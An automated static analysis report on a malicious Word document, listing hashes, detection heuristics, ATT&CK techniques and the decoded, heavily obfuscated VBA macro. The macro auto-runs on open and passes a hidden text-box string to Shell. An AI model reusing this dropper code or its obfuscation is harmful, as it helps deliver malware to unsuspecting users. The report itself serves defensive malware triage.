Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2a86ea39bdd3cfd9…

MALICIOUS

Office (OLE)

87.6 KB Created: 2018-12-12 12:53:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 4d9441639da8130d10c50b9b29a9eefb SHA-1: e8e4d7861ab840059fc50d74212311fdf52c3e83 SHA-256: 2a86ea39bdd3cfd906f34c6e1c9901f925c7b62511a48d3d40af17b5dfc0c8d2
252 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers the execution of obfuscated VBA code. Critical heuristics indicate the use of the Shell() function and suspicious cmd.exe invocation, suggesting the macro attempts to download and execute a secondary payload. The specific family is not identifiable from the provided evidence.

Heuristics 9

  • ClamAV: Doc.Malware.Generic-6781698-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6781698-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     _
.Shell(mGuBHHIMHPA, sclQSQ), aGzJrF)
   Set KMBkNdftTjGiVRcKiaL = NhIkECmIBJutZwmHUlZj
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
kbqOifZPH
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6652 bytes
SHA-256: 80c3888be74bcaaf428adfc26d5761becce2a714f7cca412af7dac7d8021b763
Detection
ClamAV: No threats found
Obfuscation or payload: likely
176 of 213 identifiers look randomly generated (e.g. 'wQENjNhzmSWjXvwSzfNzwXvv') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "FhvdaZPnwbHE"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
kbqOifZPH
End Sub

Attribute VB_Name = "hzcfaiYr"
Function kbqOifZPH()
On Error Resume Next
   Set pTrYEGvDzcaWcETXKV = ojMVEUttPLwarLBuQD
      bTiLVQaQTJCOQPoinczmELNf = Sqr(ABjKaJCTOtAFYqEiDakNzhK)
         jORSRrQFDTUPqF = 296390884 * Oct(zuCWnYOltHBlcRuTqfiLrkCW) * 188894131 * CEVoozhlOCfoQHAjZJqfclZ - (10157324 + CLng(LbhHPsftsWKQETDErDs) * 263123274 * CBool(13649657))
   WLLKtjzSRfUPcVzdw = ChrW(zuYlpQUpmblhhNXw)
   Set zKSafKXnKtFLbKEqzKGzhc = udifOvXFJcfiolvrSbl
      LPoXDrObiQiHUiX = Sqr(ziIrmovivcQEDTnXvXQioKcX)
         vWtuYOGNwtoStSXUGbab = 65053513 * Oct(PcKLwRtJmBlKrRCnXOJ) * 286834464 * ZzEBEtKhjBvXXGQ - (235455214 + CLng(RoUoHmhibFRSEMRS) * 125912775 * CBool(278227557))
   GKrYicDApnTKmELzVXQR = ChrW(XSdosOipdEEQmdCZ)
   Set sISjSzUadinLpwZcavUz = LkWnhhwZqQlXBJKwviPO
      GFPdzwchBdBrzjYvtkRYA = Sqr(OCoopOfiQEivEfGKikUsom)
         jDcmACuwqkTqNpLGNBWMz = 61931760 * Oct(bsoiBhEHwbSHkN) * 187944173 * cWGrKkosVXdGrSamWBAt - (80398616 + CLng(sRmdVPvhatlWuprSrr) * 26170550 * CBool(313674992))
   iDzQfAfliMiSIipE = ChrW(OYzowkVUXkvEJJpQHNNp)
   Set hJCrVtLLjvwjafLszjo = qqJwMqDTspcNmliZNCdjz
      ZpHjAALduhLBjrAF = Sqr(fqrTqTktoBmfzCHmdQTp)
         pDHOvvBlCmZHXzqGuiWW = 251687211 * Oct(wZwwiEOFajPzqmjE) * 308318760 * iImONXaFQjjizSuiFiP - (335939148 + CLng(zWwLssYHEWpozodZj) * 82096591 * CBool(179239138))
   YohWsjwFMhBpvHllpD = ChrW(fCwLKuuziQEVVocsJp)
Const sclQSQ = 0
   Set wjKSjfuMQiwjOSdJBlvawqD = SiiQKfVrqqaWikRljD
      qLzilYJOAdSsHd = Sqr(zEAiClMHqYsHaRTJuvnNJS)
         trAQVNXwStskNk = 10921988 * Oct(RiDIGsRiwjTXwT) * 107754231 * hDHmBUruTZZOihGYtuWi - (38772791 + CLng(uAaSUotzBwcMCJdO) * 340734939 * CBool(324144867))
   JojTCAPauiBzhaXJGMiACA = ChrW(XalVfzviuYvwVOhXSF)
   Set HnVlwUscJJdEwOBBvGVkTa = kibYdwaqBpjhcaDDfiwhZWsZ
      caPjfVWjrkGXvPfi = Sqr(bPPhYbsDqFWsXNlCL)
         WKJWTNAlpwjjPQ = 337385848 * Oct(vdKjDwXdoQzoUXU) * 137148801 * OJXIEvCjnlvWGqFtQSIsf - (325424273 + CLng(mjhDNMRScLzAHbwqhH) * 338544681 * CBool(106857302))
   cGiZuuDFLcERmkcW = ChrW(pUWTSLGpwRRbbkjhKKZzdSR)
   Set SPfTCqWzaWwLaYw = zPhWWlnFjKcJMUZBdt
      INDllMiPBDhpvzEw = Sqr(EQkhcZjrNMlGzvhh)
         pHwdwJoWmCBVjKHX = 86369178 * Oct(MIijoTuXAwJDHAIjKwAiHGvK) * 278279015 * hWhCdikzUYhITdjZJs - (81089662 + CLng(uBMzAKXipGMTpRlYqzSbT) * 66818023 * CBool(204816808))
   BBdXziwDwHcjJjBTKFHOL = ChrW(SBrKiLZkOkWcwzhAi)
mGuBHHIMHPA = FhvdaZPnwbHE.TextBox1 + UioFP + zROCQYni + ozkiNtr + mCmKbAE + kMmvbPaT + FEJRFUq
   Set nmrwJUIKnjPpmjEE = JiAKmIZESUvvCADAuPqrMif
      IzhUrkzWbTlGwzB = Sqr(StrANPkfLorTNMhiDrBm)
         ENiWYTjOzEuOMZTnivt = 99083907 * Oct(JCsdJPlHCEzOCN) * 210453714 * iowBQNkzFAnOrYv - (55288819 + CLng(YvKptPDzHuzzzJMniAH) * 322610533 * CBool(90862225))
   vSvYIcXQiIpqdRVTlZsDIT = ChrW(zFqbaMYoLJmAruUGbarQr)
   Set zjEaMvnrGqJjRCHjzHA = CfPwrhjcKtOQqOnKazZBczHR
      jvKYNlITrYRTFjfP = Sqr(hNcspCOzGzhzWDYw)
         KlVDwHGzwqVqVOulQRtpUq = 295961849 * Oct(bHmaTUUtVTYtuHkFWurMsHkk) * 262901249 * FmiJRTsYcpVfdiVc - (139076850 + CLng(pArJjoSZzjDTWB) * 250957287 * CBool(36594428))
   iPMBFBViukqRMqQmj = ChrW(nWwFqqsTMUITTtYPnMIAkwWi)
   Set JCRuZscQUXVzDTSE = zkDRzAtBiNBjKjMlwafLnW
      EmBRrtTVGscCwYuMCXtrfb = Sqr(KoJNHsntzazzfvjBHPrur)
         jQNCOcnufHcFrcijMdTzd = 189561259 * Oct(YPQTWlbnjqcHszEiKFFupWaE) * 40170831 * bDObrEDRonzJRIEUwO - (97128257 + CLng(pjHwJuXiJBoMNDJXYE) * 333746299 * CBool(158425575))
   bLRhAnwpVaLpld = ChrW(wQSzjVImwlwOzhwrQqQOVpRI)
   Set vZsvMQTirkQXUlESj = jfoaUnGwkaRhGjhqhURnhiAc
      ojuEjfnJzfRaVEFpOjtQJijq = Sqr(EkAtOziLcfGLuBudYJEP)
         MPMzSCGLoKADZivnQ = 227182954 * Oct(mPtZwiUfwnlVcbOrUovwu) * 158569633 * nVGHUWzqIaWcATqOTzWIYCpX - (187524901 + CLng(nbzUlnOPFDrWAJwz) * 192982882 * CBool(307135573))
   wOYdaczXPbkjiiJ = ChrW(YrnoiNkNmWwzNJaZuRdzO)
   Set EFniUkousTDHVLkF = nJmsqfFAotEDWjSbrbwXXfa
      WIsRSzkQOWJjcUNaiijrkqWm = Sqr(jijoiUHjpWhmnhrInpAXj)
         WOVopzjMfmFhmTBbjBBAnwjn = 307967233 * Oct(piwBVPBhHVStfH) * 338883822 * quhGvYHLJwWjLYiiupKA - (107139083 + CLng(RqfELfJnWtAKHlFoEQbk) * 289790567 * CBool(150924615))
   SWjnkzqzwMMdqbrMbCWcciB = ChrW(zcFktZfmuzMhcsZnf)
   Set WicocomwPnhMZpEW = UnCwNWhisUaOdpw
      rWNTWDUOKrSSwzTufiGq = Sqr(OIHvGkULkmwiiiTqCkQTn)
         WEOltAfjvjIscNFYPTzDZE = 135802795 * Oct(ORADczqWzcmDjVqUfBqOa) * 274595408 * GliUwTkMRjfXbzc - (46320135 + CLng(slvzbCsucfXYOFJYLuSzctCM) * 109588754 * CBool(133030813))
   BwPUDutVotGfimaToN = ChrW(DdVwQEJJUzjjiGirwNLTdU)
tobdWca = Array(bImBrj, YTvDZz, ZivwU, Interaction _
 _
 _
 _
 _
 _
 _
 _
.Shell(mGuBHHIMHPA, sclQSQ), aGzJrF)
   Set KMBkNdftTjGiVRcKiaL = NhIkECmIBJutZwmHUlZj
      jLDvEJhAmJoOGNdDQjKq = Sqr(rKpNEZiVptAbzhWFpz)
         EIPAGiTiJDDEPsIoBNizjDi = 320991095 * Oct(nnGfHwbjRmNcJiilq) * 138779652 * lolirtUrGzJBiSjSr - (83543673 + CLng(CEbXwGuLrfAOti) * 79089670 * CBool(72087622))
   BEOmmHVhHljKaPrYnSN = ChrW(QnbwhdMGlQTSHHRm)
   Set UZBmTiANtdjowjnDPwfHRhXz = AFThcFWWumuScOMHuMqkwVrQ
      aOKKjnBCoSYjjQXMS = Sqr(zslmjTAWUhOCfO)
         RCrMLOztPnwnaO = 314398156 * Oct(XdRtXfnfqKJSUomnK) * 196602999 * OjAGqzwVznjaIYOqY - (92260754 + CLng(flPMVBEjZbBIcwzhlX) * 149767096 * CBool(177232154))
   ZJnrKjAtFzNZqwcwUiFlQZuz = ChrW(DiJrdSBnXGccUKREmUdn)
   Set jswbwSFVNRZdICuz = RoYEvQFboaloktPbUtMR
      wzbQuuAGpqMNFpQnIoctA = Sqr(sThcXJCnIhhzToz)
         BVEUzkZbiEznLFkYiqHHjR = 149505229 * Oct(EBhifIWbpUnGpfIHuGwTKOb) * 21190124 * JPcjpEjwNQzCuvWiXwqRdiDi - (340332278 + CLng(cTCjpZihWstuAQDH) * 183202912 * CBool(94070852))
   FzLblmQklTaLthbb = ChrW(vjbXXNZdoczaOWHpX)
   Set MwwwLDUGvCJfMICrvADu = wQENjNhzmSWjXvwSzfNzwXvv
      JtOMivCriOjsibqmIJkmwpND = Sqr(vVpwBaUJSZTTlHWUpoj)
         ZQDXKnNLJzUjLniaM = 306176728 * Oct(nLiQCWTXBORIAjkwfRSl) * 93639149 * JAVEmHwZwHvIsGrA - (9113978 + CLng(rQMwroUAaoDIuI) * 121075533 * CBool(177056178))
   ivzjLZbSKNroiH = ChrW(QRuwAMJjkmhJWnNmpREI)
   Set dkdEKbrFSmqMcwlfcF = aviXnVvRiiPCYVrK
      fXwKPtvMqWIQQFAamLXvN = Sqr(iPJJbDjSrlmCzFGDLCnKwz)
         BRYObmJTPVpojAFSrdYfXd = 95547178 * Oct(vUjzVHDsjdIsDpH) * 213607146 * RWjKQXCFjvjYUOXCRTHCJ - (331237234 + CLng(RwFFsNPCVszGGhw) * 205452310 * CBool(325127321))
   umLWUOOkplWAdXSPONKR = ChrW(sTtLjXIQUVnKWPMv)
End Function

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